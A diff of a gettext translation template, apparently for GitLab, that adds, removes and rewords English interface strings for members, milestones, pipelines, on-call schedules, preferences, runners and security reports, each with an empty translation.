@@ -16432,6 +16804,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16456,9 +16831,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16615,7 +16987,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16651,9 +17026,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16663,12 +17047,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16687,6 +17080,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16738,6 +17134,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16789,6 +17188,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17347,6 +17749,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17452,6 +17857,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17485,12 +17893,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17548,7 +17950,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17644,6 +18046,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17773,6 +18178,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17806,6 +18214,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18031,7 +18442,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18184,6 +18595,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18289,9 +18703,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18475,9 +18886,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18514,6 +18922,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18532,6 +18943,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18544,6 +18958,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18583,6 +19000,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18619,9 +19039,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18637,6 +19063,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18646,6 +19075,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18772,6 +19204,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18787,9 +19246,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18814,9 +19270,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18829,6 +19282,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18838,7 +19297,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18862,9 +19321,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18946,6 +19402,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19012,9 +19471,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19060,6 +19516,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19216,6 +19675,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19330,6 +19792,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19354,9 +19819,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19621,6 +20083,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19729,9 +20194,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19777,6 +20239,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19789,6 +20254,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19798,6 +20266,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20023,6 +20497,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20032,9 +20509,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20197,18 +20671,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20218,9 +20686,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20242,9 +20707,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20299,6 +20761,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20428,6 +20893,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20437,6 +20920,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20467,6 +20953,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20824,9 +21313,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21079,7 +21565,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21121,6 +21610,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21181,9 +21673,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21205,6 +21694,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21274,6 +21769,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21655,6 +22153,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21970,6 +22471,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22123,6 +22627,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22207,9 +22714,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22285,6 +22789,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22312,9 +22819,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22519,9 +23023,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22537,15 +23038,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22624,6 +23122,15 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22657,6 +23164,12 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22708,6 +23221,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22738,12 +23254,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22771,6 +23293,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22804,10 +23329,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22927,12 +23452,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23059,6 +23590,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23098,6 +23632,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23119,6 +23656,9 @@ msgstr[2] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23188,6 +23728,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23251,12 +23794,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23284,9 +23821,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23389,12 +23923,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23413,7 +23941,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23470,15 +23998,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23581,6 +24103,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23620,9 +24145,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23713,6 +24235,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23899,6 +24424,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24064,6 +24592,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24181,9 +24715,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24526,12 +25057,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24574,21 +25099,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24607,6 +25141,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24703,9 +25240,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24760,13 +25294,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24796,6 +25333,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24892,10 +25432,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24946,6 +25489,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25057,9 +25603,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25105,7 +25648,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25186,10 +25729,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25471,10 +26017,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25498,6 +26044,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25615,9 +26164,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25777,6 +26323,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25945,6 +26503,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
